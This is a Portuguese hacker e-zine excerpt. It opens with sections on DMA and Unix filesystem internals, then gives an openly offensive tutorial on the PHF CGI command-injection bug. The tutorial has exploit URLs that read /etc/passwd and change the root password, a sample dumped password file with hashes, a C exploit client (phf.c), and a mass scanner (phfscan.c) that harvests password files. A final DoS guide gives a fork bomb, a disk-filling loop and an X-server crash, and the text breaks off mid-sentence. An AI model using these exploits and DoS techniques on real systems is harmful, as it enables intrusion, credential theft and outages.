  O acesso direto a memoria (Direct Memory Acess - DMA, Eureca !), permite a
  transferencia de bloco de caracteres. Ele permite que o controlador acesse
  a memoria por si mesmo.
  Com a E/S programada, a CPU tinha de transferir cada um dos caracteres e o
  controlador baseado em DMA representa um nivel maior de sofisticacao.

		    ____________________________
		   |          Memoria           |
		    ----------------------------
  O controlador pode     A                   A    O controlador pode
  ler dados da memoria   |                   |    ler dados da memoria e
  e armazenar dados na   |                   |    armazenar dados na me-
  memoria.               V                   V    moria.
		  _____________           __________
		 | Controlador | <---->  |   CPU    |
		  -------------           ----------

			       A CPU ativa
			     o controlador e o
			  controlador interrompe
				  a CPU.

	O desenho, mostra  um controlador  DMA e uma CPU. Quando um processo
  em execucao  precisa ler  ou escrever dados: o driver  ativa o controlador
  como antes, mas  nao transfere dado algum. Em vez disso, ele manda ao con-
  trolador as informacoes necessarias. As informacoes sao essas (acho qe nao
  esqueci de nenhuma, qq coisa corrija-me):

	* A operacao a ser executada.

	* Um endereco indicando a posicao de memoria que ele deve acessar.

	* O numero de caracteres a transferir.          

	* O dispositivo envolvido

	Logo que  o controlador recebe essa informacoes, ele inicia o acesso
  a memoria. Se o comando era uma solicitacao d escrita, o controlador aces-
  sa o numero  especificado de caracteres  contiguos, comecando no  endereco
  especificado, e coloca os caracteres no dispositivo. Quando o controlador,
  interrompe  a CPU, como antes, o sistema  operacional responde a interrup-
  cao. Se a solicitacao de E/S era para uma leitura, ocorrem acoes analogas.
  A vantagem, naturalmente, e qe ha menos de interrupcoes. Isso faz como que
  a CPU  fique ainda mais disponivel para os outros processos. Mesmo que nao
  haja outros processos(por exemplo, sistema monotarefa), menos interrupcoes
  significam maior eficiencia.
	
	* Roubo de Ciclo
	
	Os acessos  simultaneos a memoria por  dois componentes distintos de
  hardware  criam um novo problema: E se eles entrarem conflito ? Se tanto o
  controlador como a CPU utilizam os mesmos barramentos, o que acontecera se
  ambos o par de dois (:P), tentarem acessar a memoria ao mesmo tempo ? Mes-
  mo que eles usem diferentes barramentos, o que acontecera c ambos tentarem
  acessar o mesmo modulo de memoria simultaneamente ?
  De qq  forma, o resultado e o mesmo: ha um conflito porque o Hardware pode
  atender somente a um acesso de cada vez !
	Em casos  assim, um arbitro  da a preferencia ao controlador. A  CPU
  fica impedida de acessar o barramento ou o modulo d memoria durante alguns
  ciclos de relogio interno, e assim a CPU e retardada. Chamamos isso "roubo
  de ciclo", ja que o controlador  rouba alguns ciclos da CPU. Note que essa
  nao  e uma interrupcao como aquelas descritas na secao anterior. A CPU nao
  foi interrompida, mas sim retardada.A CPU nao salva o estado atual do pro-
  cesso nem chama um manipulador d interrupcao. O retardamento ocorre estri-
  tamente no hardware.
	
	*Uso de Buffers
	
	Quando um driver  inicia  uma operacao de  E/S para um processo, ele
  dev especificar uma posicao de memoria - mas qual ? Pareceria logico espe-
  cificar  a posicao indicada pelo processo; no entanto, frequentemente isso
  nao e feito. Em  vez disso, o driver em geral especifica uma area separada
  de  memoria, chamada buffer. Mas  por que nao  transferir os dados entre o
  dispositivo e a memoria do processo ? Ha varias razoes.
  A primeira e que o processo requer e o que o controlador fornece podem nao
  ser a mesma coisa. Por exemplo, vamos supunhetar qe um processo queira ler
  um registro , declarado em um programa Pascal (Rulez) ou Cobol (SuX), d um
  arquivo de disco. Em virtude das caracteristicas dos discos, o controlador
  na realidade le um setor inteiro contendo um registro. Mas onde, o contro-
  lador coloca os dados do setor ? 
  Provavelmente esse contem muito mais dados que o processo queria, e o pro-
  cesso nao  tem o espaco para eles. Um buffer e usado para guardar conteudo
  do setor. So  entao, o registro  e transferido  do buffer  para memoria do
  processo.
  Vale notar  que solicitacoes subsequentes de leitura para registros que ja
  estao no buffer, nao causam uma transferencia fisica de dados. Como os da-
  dos ja forma lidos, eles precisam apenas ser movidos do buffer pra a memo-
  ria do processo. Devemos observar, que embora o uso de buffers seja comum,
  as vezes os dados sao transferidos diretamente p/ ou da memoria do proces-
  so. A  vantagem e que  isso elimina uma etapa extra. A desvantagem e que a
  parte do processo nao pode ser removida da memoria, deixando menos memoria
  disponivel para os outros processos.

								    Kosmos


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 11 -
			      
			      ----------------
			      - Unix Basic's -
			      ----------------
	
	Grnde parte dos zines q eu tenho visto, usam e abusam das velhas ex-
  pressoes do tipo: - "Se voce quer fazer algo decente, use Unix"
		    - "Delete o DOS da sua maquina e instale Unix seu lamer"
		    por ai vai(...)
  Alguns ate tentaram fazer uma lista de comandos... Lamers!! De Que adianta
  falar e usar, sem ao menos entender porq e como a coisa funciona?

 
  [ Historia ]

	Ao contrario do qe voce possa pensar, o Unix nao e um sistema opera-
  cional; ele e uma familia d sistemas operacionais.
  Descrito pela primeira vez em 1974 por Thompson e Ritchie, ele rapidamente
  tornou-se um dos sistemas mais difundidos no mundo. Existem muitas versoes
  do Unix, um exemplo seria o AIX, feito pela IBM. As versoes diferem ligei-
  ramente  de umas para  outras, mas na  epoca, eram feitas para  rodarem em
  computadores  diferentes, como o PDP-11, o UNISYS 1100 series, VAX-11/780,
  IBM 370, computadores  pessoais e estacoes de trabalho baseadas nos micro-
  processadores Motorola MC68000, INTEL8086 e outros.
  As duas versoes mais populares do Unix, sao o System V, q e produzido pela
  AT&T, e o sistema BSD, desenvolvido pela Universidade, em Berkley, e popu-
  larizado pela SUN Microsystems.
  Abaixo, vamos nos ate basicamente ao Unix System V.


  [ Arquitetura ]

    _____________
  <| Aplicativos |>  Usuarios ou softwares aplicativos.
    -------------
	  |
    _____________
  <|Interpretador|>  O interpretador de comando do Unix, aceita comandos d
  <| de comandos |>  um aplicativo, interpreta-os e chama o nucleo do Unix
  <|  do Unix    |>  para processa-los.
    -------------
	  |
    _____________
  <|  Ncleo do  |>  O Nucleo do Unix e residente na meoria, ele executa
  <|  do Unix    |>  funcoes frequentemente necessarias, como escalonamen-
    -------------    to, alocacao de memoria, e resposta as solicitacoes
	  |          do usuario.
	  |
    _____________
  <|   Maquina   |>  O Unix pode ser implantado numa variedade de maquinas
    -------------    como os computadores VAX-11, IBM370, Amdahl 470, ar-
		     quiteturas baseadas no Motorola MC68000 e Intel 8086.


	O esquema  acima mostra o projeto em iiveis, caracteristico do Unix.
  No nivel superior, estao os usuarios ou softwares explicativos. As solici-
  tacoes dos processos sao manipuladas pelo segundo nivel, chamado interpre-
  tador de  comandos do Unix (Unix shell). Ele aceita  e interpreta comandos  
  chama o nucleo do Unix(Unix Kernel) para executa-los.
  O nucleo  do sistema fica  residente na memoria e executa funcoes padroes,
  como escalonamento, alocacao da memoria e sincronizacao.
  O interpretador d comando(Shell), pode ler comandos de um terminal ou d um
  arquivo chamado shell script. Os comandos presentes nesse arquivo, sao ro-
  dados digitando-se o nome do arquivo(como os .BAT do DOS).


  [ Sistema de Arquivos ]

	Assim como o MS-DOS,  o Unix tambem fornece a cada usuario uma vista
  hierarquica dos arquivos e diretorios. Cada usuario tem um diretorio-raiz,
  o qual pode conter arquivos  e outros subdiretorios. Cada subdiretorio por
  sua vez, pode conter mais arquivos e subdiretorios.
  Superficialmente, as estruturas hierarquicas d diretorio, do DOS e do Unix
  diferem muito pouco.
	Um Sistema de arquivo do Unix, consiste em 4 partes: bloco d inicia-
  lizacao, superbloco, bloco de dados e uma lista de inodes.

   - Bloco de Inicializacao: contem um registro do bootstrap usado para ini-
     cializar(Boot)  o sistema operacional. Ele esta tipicamente no primeiro
     setor do disco. Se o Unix ja tiver sido  inicializado a partir de outro
     disco, o registro de inicializacao nao sera usado.

   - Superbloco: contem campos que descrevem, o sistema de arquivo(seu tama-
     nho, numero de inodes livres, numero de blocos d dados livres e a posi-
     cao do espaco livre.

   - Bloco d Dados: contem os dados do arquivo. Os tamanhos de bloco variam,
     mas um  valor tipico e 512 bytes(0,5 Kbytes). Vamos adotar esse tamanho
     como exemplo.

   - Lista de inodes: Ha um inode para cada arquivo. A lista de inodes, tam-
     bem chamada ilist, proporciona acesso a arquivos e define a estrutura d
     diretorio. Os inodes tambem permitem q os usuarios, compartilhem arqui-
     vos.
     Basicamente, o  inode localiza os blocos de dados do arquivo. Mas tenha
     cuidado! Isso nao significa q ele contem as posicoes de todos os blocos
     de dados.

	Tenha em  mente que os arquivos  variam em tamanho, e que o Unix de-
  ve proporcionar acesso a arquivos d diferentes tamanhos. No entanto, a ma-
  neira como ele faz isso e um tanto incomum... O sistema proporciona acesso
  a todos os blocos de dados em um arquivo por  meio de um unico inode. Pro-
  porcionar o acesso d arquivos cujos tamanhos variam desde alguns bytes ate
  varios megabytes, e um grande desafio.
  Um  inode tem ate 13  ponteiros. Os primeiros  dez contem as  posicoes dos
  blocos d dados d um arquivo. C houver menos, o Unix usara tantos ponteiros
  quantos forem necessarios. Logo, os primeiros 10 ponteiros,  podem locali-
  zar 5K(10 blocos * 0,5k) de dados. Mas os arquivos podem ser muito maiores
  do q isso. Assim, em vez de ligar multiplos inodes, o Unix usa uma aborta-
  gem indireta.
  
  O ponteiro 11, contem uma posicao d um bloco indireto. O bloco de indireto
  contem ate 128 entradas e cada uma pode conter a posicao do outro bloco de
  dados. Assim, o bloco indireto pode especificar as posicpes ate 128 outros
  blocos de dados. Esse bloco de dados adicional permite que os arquivos te-
  nham ate 5K + 64K = 69Kbytes. Mas espere, isso nao e tudo...
  O 12 ponteiro inode contem a posiaoo de um segundo bloco indireto. Ele tem
  128 entradas, e cada uma delas pode conter a posicao d outro bloco indire-
  to. Assim, pode haver mais de 128 blocos d indiretos. Cada um por sua vez,
  pode conter as posicoes de ate 128 blocos de dados. Assim, o segundo bloco
  indireto  permite ao Unix  acessar ate  mais 128 * 128 = 16.384 blocos, ou
  mais 8.192 Kbytes de dados.
  Um arquivo agora  pode chegar ate 69K + 8192K = 8261K, ou 8,261 megabytes.
  Isso e mais do que a maioria dos usuarios precisa, mas nao grande  o sufi-
  ciente para  grandes bancos de  dados. Felizmente, ha mais um  ponteiro de
  inode. Ele contem a posicao do terceiro bloco indireto.
  
  Adivinhe o que ele faz ?
	
	O terceiro bloco  indireto contem as posicoes de ate mais 128 blocos
  duplamente indiretos. Cada um deles, conforme descrevemos, contem as posi-
  coes de ate mais  128 blocos indiretos, e podem localizar  ate mais 16.384
  blocos  de dados. Como  o terceiro  bloco indireto  pode localizar ate 128
  blocos duplamente indiretos, ele pode proporcionar acesso ate 128 * 16.384
  = 2.097.512 blocos  de dados. Isso  da um adicional de 1.048.576 bytes, ou
  mais de 1 gigabyte de dados.
  Assim, os arquivos do Unix, podem ter ate 1,056837 GB. :P


  [ Tabelas do Sistema ]

	Os inodes, fornecem apenas uma parte do qe e necessario para acessar
  arquivos. Por exemplo, voce  pode perguntar: Como o Unix localiza um inode
  para um determinado arquivo ?
  A primeira etapa e examinar a tabela de descritor de arquivo. Cada usuario
  tem uma tabela d descritor, e essa tem uma entrada p/ cada arquivo aberto.
  As primeiras 3 entradas, numeradas 0, 1 e 2, correspondem aos dispositivos
  d entrada-padrao, saida-padrao e erro. Isto e, a menos q seja especificado
  o contrario todas as requisicoes de entrada, saida e erro destinam-se nor-
  malmente aos arquivos corr...
	Um usuario, naturalmente, pode abrir  mais arquivos. Se ele o fizer,
  o Unix criara mais entradas na tabela de descritor d arquivo. Originalmen-
  te cada entrada, aponta para uma entrada na tabela de  arquivo do sistema.
  A tabela d arquivo do sistema contem uma entrada para cada arquivo aberto.
  Ela difere da tabela d descritor do arquivo porque tem entradas para todos
  os arqs abertos p/ todos os usuarios. O Unix mantem a tabela do arquivo do
  sistema na memoria para um acesso mais rapido.
  Fundamentalmente, suas entradas contem as seguintes informaes:

  'Posicao do inode.
  'Se o arquivo esta aberto para leitura, escrita ou ambos.
  'A posicao relativa da ultima transferrncia. Isso permite o acesso sequen-
   cial. O Unix inicializa em 0 se o arquivo for aberto para escrita.
   Consequentemente, as solicitacoes d leitura normalmente comeam no inicio
   do arquivo e as solicitacoes de escrita sao feitas a partir do fim do ar-
   quivo.
  'O numero d entradas da tabela de descritor de arquivo que apontam p/ ela.
   Isso permite ao nucleo saber quantos processos podem estar compartilhando
   um arquivo aberto.

	Quando um processo quer ler ou escrever em um arquivo, tem d especi-
   ficar o  numero descritor. O Unix faz o restante do trabalho p/ localizar
   os dados do arquivo.


  [ Diretorios do Unix ]

	Ja dissemos que o Unix mantem uma estrutura de diretorios hierarqui-
  ca. Porra, use a cabeca... uma questao logica seria:
  
   " - Como os inodes definem uma estrutura de diretorio? "
   
  Obrigado por perguntar...
  Basicamente o Unix ve um diretorio exatamente como se fosse outro arquivo.
  A diferenca esta no conteudo do bloco de dados. Em um arquivo de dados, os
  blocos de dados contem dados(e o maximo nao? :P ). No entanto, em um dire-
  torio, eles contem os nomes das entradas e as posicoes de seus inodes.
  Ha  tambem duas entradas extras no bloco de dados do diretorio. Uma e para
  o proprio diretorio, representada por ".", a outra e para o diretorio-pai,
  representado por ".." . Em casos  especiais, o pai do  diretorio  raiz e o
  proprio diretorio raiz.

				   --/ /--

  Bem, espero que voces tenham aprendido, ou pelo menos tentado...
  Duvidas(inteligentes), falhas, comentarios... mail...
	- mos@thepentagon.com
	- Subject: Kosmos, Unix.

								    Kosmos


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 12 -

			-----------------------------
			- PHF Laming Desmistificado -
			-----------------------------

	Iam Iam ... hmmm.. parece q mesmo apos a refalacao da porra dos bugs
  d CGI, muitas pessoas ainda continuam a usar a versao bugada do PHF, prin-
  cipalmente nossos colegas d olhos puxados, do outro lado do mundo.
  Pior do qe isso: muitas das pessoas nao sabe nem ao menos como exploitar a
  tal falha, e nem porq ela funciona... ainda ha tempo.
	
	Ok lamers, em muitos servidore Apache ainda existe um certo programa
  cgi-bin chamado PHF. Ele possui  um bug... se esse arquivo estiver +x, ele
  pode ser executado p/ rodar-se comandos remotamente, com os privilegios do
  usuario rodando o httpd.. geralmente o nobody, mas algumas vezes ate mesmo
  o root!
  Ao contrario dq muitos lamers pensam, pode-se fazer muito mais alem d sim-
  plesmente ler-se o /etc/passwd. Se por exemplo o  servidor estiver rodando
  o servidor httpd como  root, pode-se atraves do phf conseguir uma conta na
  makina.

	Vamos a uma forma simples d ataque via phf.. Use o seu browser favo-
  rito..  no caso, vamos usar  o bom e velho lynx... Apos a linda tela preto
  e branco  aparecer, tecle 'g'.. vc tera algo como:

URL to open: 
  Arrow keys: Up and Down to move. Right to follow a link; Left to go back. 
  H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list 

  Digite:

URL to open: http://lamer.org/cgi-bin/phf/?Qalias=x%0aid 
  Arrow keys: Up and Down to move. Right to follow a link; Left to go back. 
  H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list 

  Ele ira retornar:

				 QUERY RESULTS 



   /usr/local/bin/ph -m alias=x id 

uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup) 

  Aqui nos percebemos que ele  esta rodando como usuario nobody.. assim, nos
  podemos ser o usuario nobody desse sistema... Nos nao somos root, mas:

http://lamer.org/cgi-bin/phf/?Qalias=x%0aid 

  O 'id' foi usado d forma a o servidor nos dar a id do usuario. Algumas ve-
  zes vc tera q informar o path completo do arquivo q vc almeja..

http://lamer.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id 

  Apos o '%0a' e q realmente inicia-se a linha de comando. Se vc precisar de
  um espaco, deve-se usar codificado.. ('%20')... Veja alguns comandos q nos
  sao possiveis:

%0a/bin/cat%20/etc/passwd 

%0als%20-al%20/etc/pass* 

%0acp%20/etc/passwd%20/etc/passwd.my 

  Pode-se ate mesmo alterar a senha do root..

%0apasswd%20root 

  Lamer, antes de fazer isso, faca um backup do passwd original! Vamos come-
  car dando um cat no passwd..

URL to open: http://lamer.org/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd 

  Nos temos:

				 QUERY RESULTS 



   /usr/local/bin/ph -m alias=x cat /etc/passwd 

root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash 
bin:*:1:1:bin:/bin: 
daemon:*:2:2:daemon:/sbin: 
adm:*:3:4:adm:/var/adm: 
lp:*:4:7:lp:/var/spool/lpd: 
sync:*:5:0:sync:/sbin:/bin/sync 
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown 
halt:*:7:0:halt:/sbin:/sbin/halt 
mail:*:8:12:mail:/var/spool/mail: 
news:*:9:13:news:/usr/lib/news: 
uucp:*:10:14:uucp:/var/spool/uucppublic: 
operator:*:11:0:operator:/root:/bin/bash 
games:*:12:100:games:/usr/games: 
man:*:13:15:man:/usr/man: 
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash 
nobody:*:-2:100:nobody:/dev/null: 
ftp:*:404:1::/home/ftp:/bin/bash 
guest:*:405:100:guest:/dev/null:/dev/null 
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash 
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash 
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash 

	Vamos agora supor q vc nao quer ter d usar browsers p/ fazer isso...
  q tal um script? ;)

phf.c 
------ cut here---- 

/* Some small changes for efficiency by snocrash. */ 
/* 
 * cgi-bin phf exploit by loxsmith [xf] 
 * 
 * I wrote this in C because not every system is going to have lynx.  Also, 
 * this saves the time it usually takes to remember the syntatical format 
 * of the exploit.  Because of the host lookup mess, this will take 
 * approximately 12 seconds to execute with average network load.  Be patient. 
 * 
 */ 

#include <stdio.h> 
#include <string.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <netdb.h> 
#include <errno.h> 

int main(argc, argv) 
     int argc; 
     char **argv; 
{ 
     int i = 0, s, port, bytes = 128; 
     char exploit[0xff], buffer[128], hostname[256], *command, j[2]; 
     struct sockaddr_in sin; 
     struct hostent *he; 

     if (argc != 3 && argc != 4) { 
	  fprintf(stderr, "Usage: %s command hostname [port]", argv[0]); 
	  exit(1); 
     } 

     command = (char *)malloc(strlen(argv[1]) * 2); 

     while (argv[1][i] != '\0') { 
	  if (argv[1][i] == 32) strcat(command, "%20"); else { 
	       sprintf(j, "%c", argv[1][i]); 
	       strcat(command, j); 
	  } 
	  ++i; 
     } 

     strcpy(hostname, argv[2]); 
     if (argc == 4) port = atoi(argv[3]); else port = 80; 

     if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) { 
	  he = gethostbyname(hostname); 
   if (he) { 
	       sin.sin_family = he->h_addrtype; 
	       memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0], 
		      he->h_length); 
	  } else { 
	       fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname); 
	       exit(1); 
	  } 
     } 
     sin.sin_family = AF_INET; 
     sin.sin_port = htons((u_short) port); 

     if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) { 
	  fprintf(stderr, "%s: could not get socket\n", argv[0]); 
	  exit(1); 
     } 

     if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { 
	  close(s); 
	  fprintf(stderr, "%s: could not establish connection\n", argv[0]); 
	  exit(1); 
     } 

     sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command); 
     free(command); 
     write(s, exploit, strlen(exploit)); 
     while(bytes == 128) { 
	  bytes = read(s, buffer, 128); 
	  fprintf(stdout, buffer); 
     } 
     close(s); 
} 

-------- cut here 

  Para usar: 'phf id xxx.org '

------ 
<H1>Query Results</H1> 
<P> 
/usr/local/bin/ph -m  alias=X 
id 
<PRE> 
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup) 
</GET /cgi-bin/phf/?Qalias=X%0aid 
------ 

  Por exemplo: 'phf cat%20/etc/passwd lamer.org'.
	Com um pouco de imaginacao, pode-se transferir e rodar exploits re-
  motamente p/ o servidor.
	Algo qe eu achei interessante e o seguinte: e' possivel enviar-se um
 comando d telnet via PHF.
 Ex:
	(..) 'telnet%20###.gov'

  A QUERY_STRING recebida sera:

/usr/local/bin/ph -m alias=x /bin/telnet ###.gov

Trying ###.##.###.###...
Connected to ###.gov.
Escape character is '^]'.

  Supondo que vc tenha ascesso a um xterm, e possivel capturar-se a shell...
	
	Para os mais preguicosos, aqui vai um  programa que ira scannear por
  hosts com o bug do PHF.. ele as vezes apresenta falhas, mas da pra quebrar
  o galho.. um dia se tiver tempo  eu o aperfeicoo..

/*   
     phfscan.c
     June, 1996
     By Alhambra
     alhambra@infonexus.com

     A production of The Guild Corporation, 1996

	A quick hack to make scanning for hosts which still have the phf bug.
     Accepts hosts to scan from stdin, and writes whatever it gets back to
     stdout.  Plenty of room for optimization, and features that could be 
     added include forking off multiple copies for concurrent scans, etc, etc.
     Do it yourself...that's how you learn.

     The effectiveness of this program for getting password files isn't
     what it once was...we see only around a 30% success ratio at getting
     /etc/passwd from hosts that would have been vulnerable once upon a time.
     But that's still something...
   
      Use:
	phfscan < infile > outfile

*/

#include <sys/stat.h>
#include <sys/types.h>
#include <termios.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/syslog.h>
#include <sys/param.h>
#include <sys/times.h>
#ifdef LINUX
#include <sys/time.h>
#endif
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/signal.h>
#include <arpa/inet.h>
#include <netdb.h>
int FLAG = 1;
int Call(int signo)
{
 FLAG = 0;
}

main (int argc, char *argv[])
{
  char host[100], buffer[1024], hosta[1024],FileBuf[8097];
  int outsocket, serv_len, len,X,c,outfd;
  struct hostent *nametocheck;
  struct sockaddr_in serv_addr;
  struct in_addr outgoing;

  char PHFMessage[]="GET /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd\n";
  /* yp version...use as needed...*/
/* char PHFMessage[]="GET /cgi-bin/phf?Qalias=x%0a/usr/bin/ypcat%20passwd\n";*/

  while(fgets(hosta,100,stdin))
    {
      if(hosta[0] == '\0')
	break;
      hosta[strlen(hosta) -1] = '\0';
      write(1,hosta,strlen(hosta)*sizeof(char));
	write(1,"\n",sizeof(char));
      outsocket = socket (AF_INET, SOCK_STREAM, 0);
      memset (&serv_addr, 0, sizeof (serv_addr));
      serv_addr.sin_family = AF_INET;
     
      nametocheck = gethostbyname (hosta);

      /* Ugly stuff to get host name into inet_ntoa form */
      (void *) memcpy (&outgoing.s_addr, nametocheck->h_addr_list[0],
		       sizeof (outgoing.s_addr));
      strcpy (host, inet_ntoa (outgoing));
      serv_addr.sin_addr.s_addr = inet_addr (host);
      serv_addr.sin_port = htons (80);
      signal(SIGALRM,Call);
      FLAG = 1;

      alarm(10);    

      X=connect (outsocket, (struct sockaddr *) &serv_addr, sizeof (serv_addr));
      alarm(0);

      if(FLAG == 1 && X==0){
       write(outsocket,PHFMessage,strlen(PHFMessage)*sizeof(char));
       while((X=read(outsocket,FileBuf,8096))!=0)
	  write(1,FileBuf,X);
	}
      close (outsocket);   
    }
  return 0;
}
								    Wiz4rd


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 13 -
			   
			    ---------------------
			    - Introducao ao DoS -
			    ---------------------

  Corporate
    Persuasion                     Black Hacker Resources
      Through
	 Internet Terrorism.             News ways to fuck your life up.
  
  [ Introducao ]

	Isso  nao e um "Guia Moderno" de DoS, mesmo porque, DoS  nao e  algo
  moderno. Se os criadores d softwares tivessem a alguns anos atras um pouco
  de originalidade, teriam  percebido os riscos potenciais... so pra citar o
  super-AIX(C2?! HAHA), permite q vc determine o numero d tentativas d log q
  uma conta aceita antes q ela trave.. maravilha.. mande um monte d tentati-
  vas falhas e vc trava o usuario... isso e um DoS...

	Lamers: DoS != DOS, ou seja, nao iremos falar d um sistema operacio-
  nal, mas sim de  um tipo de ataque, o Denial of Service, ou aportuguesada-
  mente, ataque por negacao de servico. Ataques DoS, consiste-se basicamente
  em atacar-se um certo servico, de  forma a geralmente "travar-se"  todo um
  sistema.
  Outro ponto de vista, seria q o DoS e possivel geralmente porque os lamers
  compram coisas pelas quais  nao pagaram, por exemplo, os inumeros  bugs do
  IIS... O interessante do DoS, e que e' um ataque geralmente simples de ser
  lancado, mas de dificil protecao.. No Unix por exemplo, ele ocorre basica-
  mente porque o sistema acha que todos usuarios sao "bem comportados".

	Nao vamos(eu nao quero) entrar em detalhes psico-filosoficos que en-
  volvem um DoS... seja por motivos  religiosos, politicos ou zoacao, o fato
  e q eles ocorrem... Note no entanto, qe muitas vezes um DoS, e parte d al-
  go muito maior, como uma invasao ao sistema. Por exemplo, no famoso ataque
  do IP-spoof, usa-se um flood chamado "syn flooding", que a primeira vista,
  parece apenas um DoS simples.
  O DoS tambem pode servir d forma a neutralizar uma certa maquina, ou impe-
  dir qe certo usuario(o root por exemplo...) logue na maquina e acabe com a
  farra. Imagine as consequencias d um ataque DoS realizado em um router, ou
  em uma firewall... ataca-se 1 computador, mas centenas podem ser neutrali-
  zados instantaneamente.
  

			    -=-=-=-=-[*]-=-=-=-=-

  
  [ Sistemas ]
	 
	 Em materia d DoS, o Windows e realmente "triste"... nao q o Unix ou
 similares escapem... mas por apresentar uma arquitetura mais aberta, e mais
 simples arrumar o Unix, mesmo porq, varias pessoas  no mundo todo usam esse 
 maravilhoso sitema, e estao constantemente aperfeicoando-o.
 Ja Microsoft.. quando tem um furo no Ruindows, deve-se esperar alguns meses
 ate qe Bill Gay decida mecher a bunda e arrumar a falha... muitas vezes is-
 so nem chega a ocorre... o palhaco prefere simplesmente lancar um novo sis-
 tema  operacional, e deixar os otarios q compraram a versao  anteriar com o
 prejuizo... pior ainda... ele nem se da ao trabalho d consertar algumas das
 falhas d seguranca nas novas versoes seguintes!
 Bom... lamers da Microsoft.. esperem pelo proximo ano.. quem sabe o proximo 
 patch (deveria dizer - sistema operacional He He) vem direito... Ja tem ate
 gente dizendo q "- Bill Gates nao faz patches, lanca novos sistemas..".
 Ou seja, a cada falha dele, custa em  media 100 dolares aos lamers...

	De uma forma geral, um DoS bem sucedido depende muito do administra-
  dor do sistema visado.
  O Unix, devido a sua arquitetura aberta, possui inumeras ferramentas q dao
  protecao e monitoracao a ataques DoS, e, geralmente, os administradores de
  sistemas Unix, sao mais familiarizados com o sistema. No entanto, devido a
  essa mesma arquitetura aberta, os "*ix's" possuem inumeras portas e servi-
  cos rodando, oq ja nao e tao bom.
  
  O basico do Ruwin NT pode ser aprendido em algumas horas, isso da uma fal-
  sa impressao d q tem-se dominio do sistema, oq nao  e verdade.. acho q nem
  os proprios criadores do NT tem domino sobre ele  =)
  
  Ao que  parece e pelo que eu tenho  visto, o Unix e mais seguro no que diz
  respeito a ataques locais. Ja o NT, sobrevive bem em ataques remotos, pois
  tem bem menos daemons e servicos rodando. Mas... quando a coisa e local, o
  NT e um desastre (...).
  
  Quando  um ataque DoS e bem sucedido, o computador alvo, podera sofrer va-
  rias consequencias q incluem: mensagens de panico apresentadas no console,
  arquivos dump ou core serao escritos no disco, x-windows sera abortado, um
  travamento  total do sistema.... Geralmente o host ira simplesmente execu-
  tar um boot  :)
	
	Para ter-se certeza dq o servidor realmente caiu, existem varios me-
  todos, o mais simples  e o meu  preferio e o 'ping'. Como voce sabe, o que
  ele ira fazer e basicamente enviar pacotes d rede do tipo ECHO_REQUEST...
  Alguns servidores bloqueiam pacotes ping, mas isso e raro...
       
       Varias das tecnicas de DoS, q irei mostrar aki, eu selecionai de fon-
  tes, textos, entre  outros... Algumas eu mesmo fiz... e tal.. 
  

			    -=-=-=-=-[*]-=-=-=-=-


  [ 1. - DoS Local ]

       O DoS Local, e um ataque denial of service, q para poder ser executa-
  do e necessari o estar-se logado ao  sistema, ou seja, nao  pode ser feito
  remotamente.


  [ 1.1 DoS Local - Sistemas Nao Especificos *ix's ]

  (1). X-Server

	Se o stickybit nao estiver setado no /tmp, entao voce pode remover o
  arquivo /tmp/.x11-unix/x0, e o x-server cai.

	$ rm /tmp/.x11-unix/x0

  
  (2). Lotando HD

	Se seu espaco d HD nao foi limitado pelo admin, vc pode por exemplo
  criar alguns diretorios e travar todo um sistema... nos *ix's eu recomendo
  usar-se o /tmp p/ isso.
  Ex:
	while : ; 
	mkdir .xxx
	cd .xxx
	done


  (3). Uso fodido d eval

	Alguns sistemas  antigos iram pendurar  se eval '\!\!' for executado
  no C-shell.
  Ex:
	% eval '\!\!'
	
  
  (4). Uso fodido d fork ()

	Varios sistemas, principalmente os mais antigos irao travar com esse
  simples programinha.
  Ex:
	   
  main()
  {
   while(1)
     fork();    /* Diabinhos substituam isso por sync hehehe */
  }

       Se nao for visto a tempo pelo admin, o sistema cai. Basicamente, o qe
  ele faz e  expandir-se  na memoria, criando  outro processo de si mesmo...
  Esse ataque e dificil de parar, pois mesmo que se mate os outros processos
  ja comecados, ainda existirao outros.
       Versoes recentes do sistema, ja estao imunes a esse ataque, pois ago-
  ra os usuarios podem ter apenas um numero maximo de processos rodando, mas
  o root nao segue essa regra, ou seja, c vc rootear uma makina, ainda pode
  trava-la e o admin idiota nao vai nem saber oq aconteceu...
  
  A maioria dos Unix's, possuem o numero maximo d processos por usuario, es-
  tipulados no  kernel, no entanto o Solaris, deixa esse valor ser setado na
  hora do boot. A variavel responsavel por isso, chama-se 'MAXUPROC', e pode
  ser ascessada em /etc/systems. Geralmente ela estara como 'maxuproc=100' .
  Mas, se vc tiver varias contas no sistema, ainda assim podera travar a ma-
  kina.
  
       A existencia d muitos processos, realmente e um desafio pra os admins
  consertarem  sem poderem dar boot na makina, pois nao adianta rodar o ps e
